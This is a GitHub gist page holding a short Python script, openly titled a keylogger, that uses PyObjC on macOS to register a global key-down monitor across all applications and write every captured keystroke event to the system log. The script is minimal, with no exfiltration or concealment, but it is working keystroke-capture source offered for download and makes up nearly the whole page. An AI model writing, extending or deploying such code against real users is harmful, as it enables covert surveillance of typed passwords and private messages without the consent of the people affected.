-
-
Save mdagost/3020683 to your computer and use it in GitHub Desktop.
Python Objective C keylogger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""PyObjC keylogger for Python | |
by ljos https://github.com/ljos | |
""" | |
from Cocoa import * | |
from Foundation import * | |
from PyObjCTools import AppHelper | |
class AppDelegate(NSObject): | |
def applicationDidFinishLaunching_(self, aNotification): | |
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler) | |
def handler(event): | |
NSLog(u"%@", event) | |
def main(): | |
app = NSApplication.sharedApplication() | |
delegate = AppDelegate.alloc().init() | |
NSApp().setDelegate_(delegate) | |
AppHelper.runEventLoop() | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment